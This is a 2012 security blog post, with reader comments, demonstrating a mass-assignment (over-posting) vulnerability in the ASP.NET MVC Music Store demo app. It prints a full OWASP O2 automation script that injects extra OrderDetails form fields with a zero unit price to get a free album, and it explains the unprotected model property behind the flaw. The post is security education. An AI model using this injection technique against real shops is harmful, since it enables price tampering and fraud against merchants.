OWASP O2 Platform Blog

Exploiting Microsoft MVC vulnerabilities using OWASP O2 Platform

In this post, I’m going to show the value added  of using OWASP O2 Platform to exploit (and therefore correct/detect/prevent) vulnerabilities on top of Microsoft MVC platform.

Background

The industry has broadly adopting MVC architecture to build Web  applications during the last years  for several reasons, including the rapid  and efficient paradigm it represents to build really good applications.

Few weeks ago , a user exploited a vulnerability at  GitHub . The vulnerability exploited in this case, represents an old issue in the MVC architecture of different frameworks including Rails. This vulnerability is often named mass assignment , but it is also known as over posting or autobinding. Dinis Cruz  wrote an interesting post about this vulnerability in the Spring MVC framework in this post http://diniscruz.blogspot.com/2012/04/we-need-security-focused-saststatic.html.

In this same line, Dinis wrote a really nice O2 script that allows to exploit this vulnerability on top of Microsoft MVC . In order to illustrate this use case of OWASP O2 platform, Dinis used a demo MVC application named MVC Music Store    hosted in CodePlex( this is a great application that shows the use of this architecture).

Once you have this application up and running , then you probably are going to see something like this:

ASP.NET MVC MUSIC STORE

ASP.NET MVC MUSIC STORE

O2 Script to exploit the vulnerability

Dinis wrote the following script below to exploit this vulnerability, basically it is an IE automation script very powerful to overposting some post form fields and update them. Let’s see the script and then a quick explanation about it.

var ie = "ie_Fyila".o2Cache(()=> panel.clear().add_IE()).silent(true);  // ie ramdon value for o2cache makes this object to unique amongst multiple instances of this control

var site = "http://localhost:26641";

Action<string,string,string> register =
(username, password,email)=>{
ie.open(site + "/Account/Register");
ie.field("UserName").value(username);
ie.field("Email").value(email);
ie.field("Password").value(password);
ie.field("ConfirmPassword").value(password);
ie.button("Register").click();
};

Action loginAsTestUser =
()=>{
var user1_name = "test_user".add_RandomLetters(5);
var user1_email = "test@testuser.com";
var user1_pwd = "a pwd".add_RandomLetters(10);
register(user1_name, user1_pwd, user1_email);

};

Action selectTestProductAndCheckout =
()=>{
ie.link("Rock").scrollIntoView().flash().click();
//Selection Led Zeppeling I album
ie.link(" Led Zeppelin I ").scrollIntoView().flash().click();
ie.link("Add to cart").flash().click();
ie.link("Checkout >>").flash().click();

};

Action populateSubmitOrder =
()=>{
var Address     = "Foo Address";
var City         = "Foo City";
var Country     = "Foo Country";
var Email         = "Email@email.com";
var FirstName     = "Foo FirstName";
var LastName     = "Foo LastName";
var Phone         = "Foo Phone";
var PostalCode     = "AAA BBB";
var State         = "Foo State";
var PromoCode     = "FREE"; // currently hard coded promotional code

ie.field("Address").value(Address);
ie.field("City").value(City);
ie.field("Country").value(Country);
ie.field("Email").value(Email);
ie.field("FirstName").value(FirstName);
ie.field("LastName").value(LastName);
ie.field("Phone").value(Phone);
ie.field("PostalCode").value(PostalCode);
ie.field("PromoCode").value(PromoCode);
ie.field("State").value(State);
};

Action submitOrder =
()=>{
ie.button("Submit Order").click();
};

Action createOrderUsingTestUser =
()=>{
loginAsTestUser();
selectTestProductAndCheckout();
populateSubmitOrder();
submitOrder();
};

Action injectField =
(fieldName, value)=>{
ie.field("FirstName")
.injectHtml_afterEnd("
{0}:<input type="text" name="{0}" value="{1}" />".format(fieldName, value));
};

Action runExploit_1 =
()=>{
loginAsTestUser();
selectTestProductAndCheckout();
populateSubmitOrder();

//the following simulates adding this to the POST request following URI Convention:
//OrderDetails[0].OrderDetailId=1&OrderDetails[0].OrderId=1&OrderDetails[0].AlbumId=1&OrderDetails[0].Quantity=1&OrderDetails[0].UnitPrice=5&
injectField("OrderDetails[0].OrderDetailId","1");
injectField("OrderDetails[0].OrderId","1");
injectField("OrderDetails[0].AlbumId","1");
injectField("OrderDetails[0].Quantity","1");
injectField("OrderDetails[0].UnitPrice","0");
submitOrder();
ie.open(site + "/OrderDetails");
};

runExploit_1();

return "done";

//O2File:WatiN_IE_ExtensionMethods.cs
//O2Ref:WatiN.Core.1x.dll
//O2Tag_DontAddExtraO2Files;

If you look at this script, you will notice that it purpose is to register a user, select an album and submit the order, but  look that the script injects other  fields (related to other album),  so we are buying just one album but  we are also submitting a second one by injecting it as a part of the HTML form fields, and guess what? it is for free :).

This is the HTTP Post form field  that were sent to the server:

HTTP form post fields using Fiddler

HTTP form post fields using Fiddler

And this is how our order detail looks like :

Order details

Order details

How was this  possible?


If you look at  the Orders model, you will notice that this model has some properties and the last one is a list of OrderDetails and lf you look carefully, then you will see that this property is not protected against modifications (like using ReadOnly attributes) . That makes possible that we could send some other fields as a part of the request.

//Some properties of the Orders model.
[Required(ErrorMessage = "Email Address is required")]
[DisplayName("Email Address")]
[RegularExpression(@"[A-Za-z0-9._%+-]+@[A-Za-z0-9.-]+\.[A-Za-z]{2,4}",ErrorMessage = "Email is is not valid.")]
[DataType(DataType.EmailAddress)]
public string Email { get; set; }
[ScaffoldColumn(false)]
public decimal Total { get; set; }

public List<OrderDetail> OrderDetails { get; set; }

The Checkout controller accepts a FormCollection as a parameter and it holds all the HTTP POST form fields, from the below image you can see that it has the data for the second order.

Checkout controller

Checkout controller

Final thoughts

This script is one of the many examples of the advantage of using O2 scripts, we were able to exploit  a vulnerability on top of Microsoft MVC.  The script is quite simple and easy to read, apart from that, it is powerful enough to identify this kind of problems. The IE automation section in OWASP O2 Platform represents a new paradigm in the automation process and it power allow us to make Web Application Security visible.

As you can see, it is easy to fall in this vulnerability, probably you can argue that this kind of issue might be solved using good design and best practices and you probably are right, but we are vulnerable when somebody could forget all the mechanisms to write secure code, specially when working with this  kind of architecture.

I would like to thank to Dinis Cruz  for making this script available and all his work in the O2 Platform project.

May 20, 2012 - Posted by | .NET, ASP.NET MVC, Fixing Code, IE Automation, Vulnerabilities, WatiN | , , ,

5 Comments »

  1. Reblogged this on Software Engineering in Costa Rica and commented:

    I just wrote an interesting article about exploiting MVC vulnerabilities using OWASP O2 Platform. Dinis Cruz wrote the great O2 script.

    Comment by Michael Hidalgo | May 20, 2012 | Reply

  2. Sweet, sounds very interesting….. I just have a couple of questions about the automation script, do you guys know if we can do the same fields injection using other automation tools like watir, webdriver etc

    I think the magic is on line 72

    Action injectField =
    (fieldName, value)=>{
    ie.field(“FirstName”)
    .injectHtml_afterEnd(”
    {0}:”.format(fieldName, value));
    };

    Comment by msiles | May 25, 2012 | Reply

    • Thanks for your comment.
      There are several ways to inject HTTP Post for fields using the frameworks you mentioned. For Selenium Webdriver, you can inject HTTP form fields by injecting JavaScript. There are some approaches on top of Selenium to achieve this : http://seleniumhq.org/docs/05_selenium_rc.html.
      Keep in mind that when working with HTTP POST, rather than sending URL parameters you are sending the content as a part of the body of the request. For better usage you can capture the local traffic by using Fiddler2 .

      Hope this helps.

      Comment by Michael Hidalgo | June 6, 2012 | Reply

      • The idea behind using that HTML injection was to automate that process and not require the use of a proxy like fiddler :)

        Btw, have you checked the web proxy tool that is in the O2 Scripts folder?

        Comment by Dinis Cruz | March 20, 2013

    • It should be possible, that is just an extension method that uses the IE object capability to add HTML to an element

      Another option is to use a JavaScript framework to do it (like jquery)

      Comment by Dinis Cruz | March 20, 2013 | Reply


Leave a Reply

Fill in your details below or click an icon to log in:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out / Change )

Twitter picture

You are commenting using your Twitter account. Log Out / Change )

Facebook photo

You are commenting using your Facebook account. Log Out / Change )

Google+ photo

You are commenting using your Google+ account. Log Out / Change )

Connecting to %s

Follow

Get every new post delivered to your Inbox.

%d bloggers like this: